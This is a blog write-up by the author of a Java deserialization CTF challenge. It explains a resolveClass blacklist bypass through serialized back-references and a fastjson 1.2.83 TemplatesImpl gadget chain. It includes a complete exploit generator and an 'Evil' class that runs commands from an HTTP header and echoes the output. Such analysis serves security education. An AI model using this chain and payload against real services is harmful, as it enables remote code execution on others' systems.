entry_java-出题记录/wp

Sl0th Lv4

0x00 序言

校赛出的一道java的wp,记录一下

0x01 分析

controller部分

总共就两个,一个没什么用的欢迎界面,以及一个接受base64编码后的数据并进行解码反序列化的/input

1
2
3
4
5
6
7
8
9
10
11
12
13
@RequestMapping("/input")
public String read(@RequestParam String data) {
try {
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
secObjectInputStream objectInputStream = new secObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
return "Something error.";
}
return "Pass detection.";
}

包裹输入流的ObjectInputStream用的是自定义的,跟进一下,发现内置了黑名单

1
2
3
4
private static final String[] blacklist = new String[]{
"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "com\\.ctf\\.*",
"org\\.springframework.*", "com\\.sun\\.org\\.apache\\.xalan\\.*","org\\.yaml.*","org\\.apache.logging.*","org\\.apache.tomcat.*", "javax\\.management\\.remote.*"
};

黑名单可以通过二次反序列化绕过,但是常用的类如com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet就被ban了,以及java.security下的经典SignedObject也被限制,直接硬打二次反序列化会比较困难

再观察一下secObjectInputStream,其继承 ObjectInputStream 并重写了 resolveClass() 方法,而黑名单的检测就是在resolveClass方法中调用contians方法进行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if(!contains(cls.getName())) {
return super.resolveClass(cls);
} else {
throw new InvalidClassException("You can't use class", cls.getName());
}
}

public static boolean contains(String targetValue) {
for (String forbiddenPackage : blacklist) {
if (targetValue.matches(forbiddenPackage))
return true;
}
return false;
}

并且这道题的依赖是1.2.83的fastjson,需要结合里面JSONArray来反序列化,可以很容易想到一条链

1
2
3
4
BadAttributeValueExpException.readObject ->
JSON.toString ->
JSON.toJSONString ->
TemplatesImpl.getOutputProperties //加载任意字节码

但是新版的fastjson中JSONArray以及JSONObject的readObject中用SecureObjectInputStream类重新包转了一下输入流,SecureObjectInputStream类当中重写了resolveClass,通过调用checkAutoType方法做类的检查,TemplatesImpl就在其黑名单中

现在的思路可以改为如何绕过resolveClass,首先看一下整个反序列化过程,看一下resolveClass是在哪里被调用的,由于这里secObjectInputStream继承自ObjectInputStream,且没有重写其readObject方法,因此跟进java.io.ObjectInputStream#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
        public String read(@RequestParam String data) {
try {
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
secObjectInputStream objectInputStream = new secObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();//***
} catch (Exception e) {
e.printStackTrace();
return "Something error.";
}
return "Pass detection.";
}
//next ->
//`java.io.ObjectInputStream#readObject`
public final Object readObject()
throws IOException, ClassNotFoundException
{
if (enableOverride) {
return readObjectOverride();
}
// if nested read, passHandle contains handle of enclosing object
int outerHandle = passHandle;
try {
Object obj = readObject0(false);//**
handles.markDependency(outerHandle, passHandle);
ClassNotFoundException ex = handles.lookupException(passHandle);
if (ex != null) {
throw ex;
}
if (depth == 0) {
vlist.doCallbacks();
}
return obj;
} finally {
passHandle = outerHandle;
if (closed && depth == 0) {
clear();
}
}
}

跟进java.io.ObjectInputStream#readObject0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
private Object readObject0(boolean unshared) throws IOException {
boolean oldMode = bin.getBlockDataMode();
if (oldMode) {
int remain = bin.currentBlockRemaining();
if (remain > 0) {
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
/*
* Fix for 4360508: stream is currently at the end of a field
* value block written via default serialization; since there
* is no terminating TC_ENDBLOCKDATA tag, simulate
* end-of-custom-data behavior explicitly.
*/
throw new OptionalDataException(true);
}
bin.setBlockDataMode(false);
}

byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}

depth++;
try {
switch (tc) {//🌟🌟🌟
case TC_NULL:
return readNull();

case TC_REFERENCE:
return readHandle(unshared);

case TC_CLASS:
return readClass(unshared);

case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);

case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));

case TC_ARRAY:
return checkResolve(readArray(unshared));

case TC_ENUM:
return checkResolve(readEnum(unshared));

case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));

case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);

case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}

case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}

会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象,case里面的不同分支调用的方法跟进到后面都会发现调用了readClassDesc去获取类的描述符,只有

跟进readClassDesc方法看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private ObjectStreamClass readClassDesc(boolean unshared)
throws IOException
{
byte tc = bin.peekByte();
switch (tc) {
case TC_NULL:
return (ObjectStreamClass) readNull();

case TC_REFERENCE:
return (ObjectStreamClass) readHandle(unshared);

case TC_PROXYCLASSDESC:
return readProxyDesc(unshared);

case TC_CLASSDESC:
return readNonProxyDesc(unshared);

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
}

TC_NULL表示的是null,基本无用处,剩余的TC_REFERENCE、TC_PROXYCLASSDESC会继续寻找类的描述符,且处理逻辑都会先调用resolveClass来判断该类是不是NULL,大多数情况都会像TC_CLASSDESC分支一样最后进入到resolveClass方法中,下面分析一下调用逻辑

跟进TC_CLASSDESC分支的readNonProxyDesc方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private ObjectStreamClass readNonProxyDesc(boolean unshared)
throws IOException
{
if (bin.readByte() != TC_CLASSDESC) {
throw new InternalError();
}

ObjectStreamClass desc = new ObjectStreamClass();
int descHandle = handles.assign(unshared ? unsharedMarker : desc);
passHandle = NULL_HANDLE;

ObjectStreamClass readDesc = null;
try {
readDesc = readClassDescriptor();
} catch (ClassNotFoundException ex) {
throw (IOException) new InvalidClassException(
"failed to read class descriptor").initCause(ex);
}

Class<?> cl = null;
ClassNotFoundException resolveEx = null;
bin.setBlockDataMode(true);
final boolean checksRequired = isCustomSubclass();
try {
if ((cl = resolveClass(readDesc)) == null) {//🌟🌟
resolveEx = new ClassNotFoundException("null class");
} else if (checksRequired) {
ReflectUtil.checkPackageAccess(cl);
}
} catch (ClassNotFoundException ex) {
resolveEx = ex;
}
skipCustomData();

desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));

handles.finish(descHandle);
passHandle = descHandle;
return desc;
}

TC_REFERENCE、TC_PROXYCLASSDESC分支中调用的函数也有类似的调用resolveClass方法的逻辑

因此所有传入以反序列化的数据流都不可避免的会流入被题目secObjectInputStream类重写的resolveClass方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if(!contains(cls.getName())) {
return super.resolveClass(cls);
} else {
throw new InvalidClassException("You can't use class", cls.getName());
}
}
//...
public static boolean contains(String targetValue) {
for (String forbiddenPackage : blacklist) {
if (targetValue.matches(forbiddenPackage))
return true;
}
return false;
}

contains方法会检测是否包含黑名单中的类

但是想要绕开resolveClass来反序列化还是有可能的,回到之前的

java.io.ObjectInputStream#readObject0方法,由于readClassDesc方法会走向resolveClass,因此要选择分支中方法后续不会调用readClassDesc的,符合的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION ,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,因此我们只剩下引用类型这一个选择,只要让我们的恶意类成为引用类型,就能让其绕过resolveClass的检查

引用类型

在List、set、map类型中添加同样对象时,为节省资源,第二个加入的对象会改成第一个对象的引用,以ArrayList为例,写一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.*;
import java.util.ArrayList;

public class demo {
public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException {
ArrayList<Object> arrayList = new ArrayList<>();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
arrayList.add(templates);
arrayList.add(templates);
ByteArrayOutputStream by=new ByteArrayOutputStream();
ObjectOutputStream a=new ObjectOutputStream(by);
a.writeObject(arrayList);
}
}

这里直接跟进一下ArrayList的writeObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
int expectedModCount = modCount;
s.defaultWriteObject();

// Write out size as capacity for behavioural compatibility with clone()
s.writeInt(size);

// Write out all elements in the proper order.
for (int i=0; i<size; i++) {
s.writeObject(elementData[i]);//🌟🌟List中的每个元素分别writeObject
}

if (modCount != expectedModCount) {
throw new ConcurrentModificationException();
}
}

跟进到ObjectOutputStream#writeObject -> ObjectOutputStream#writeObject0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
boolean oldMode = bout.setBlockDataMode(false);
depth++;
try {
// handle previously written and non-replaceable objects
int h;
if ((obj = subs.lookup(obj)) == null) {
writeNull();
return;
} else if (!unshared && (h = handles.lookup(obj)) != -1) {//🌟🌟在handles查询这个对象是否被序列化过
writeHandle(h);
return;
} else if (obj instanceof Class) {
writeClass((Class) obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}
//.....

}

如果上述查找后发现这个是个之前没被序列化的新对象,之后会进入到writeNonProxyDesc进而把新对象加入到handles这个HashTable中
具体调用链

image-20231129182815527
image-20231129182815527

image-20231129182829338
image-20231129182829338

因此第二个序列化同一个对象时,会直接满足

1
2
3
else if (!unshared && (h = handles.lookup(obj)) != -1) {
writeHandle(h);
return;}

跟进writeHandlem,可以发现被记录为引用类型

1
2
3
4
private void writeHandle(int handle) throws IOException {
bout.writeByte(TC_REFERENCE);
bout.writeInt(baseWireHandle + handle);
}

至此,利用引用类型成功绕过了resolveClass的检查,大概exp如下面的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setValue(templates, "_name", "sloth");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);//第一次加入

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);//第二次加入构造引用类型
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
System.out.println(base64Encode(bytes1));
objectOutputStream.close();

0x02 exp

不出网

由于此题不出网,比较常见的思路是打内存马,但是这题有一个Agent实时扫描(suagent-loader.jar)

再加上此题注入内存马会因为一个NullPointerException而提前终止,改为用无文件直接回显,使用的时候需要在请求报文中加入header cmd: 命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}

直接将请求头cmd的内容传入exec执行,将命令的输出写回到 ServletResponse 的输出流中。

总体exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.ctf.controller;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import com.ctf.controller.EvilController;
import javassist.CtClass;
import javassist.CtConstructor;

public class exp {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setValue(templates, "_name", "sloth");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
System.out.println(base64Encode(bytes1));
objectOutputStream.close();
}
}

image-20231129221646083
image-20231129221646083

  • 标题: entry_java-出题记录/wp
  • 作者: Sl0th
  • 创建于 : 2023-11-02 16:24:07
  • 更新于 : 2024-11-11 18:23:18
  • 链接: http://sl0th.top/2023/11/02/entry-java-出题记录-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论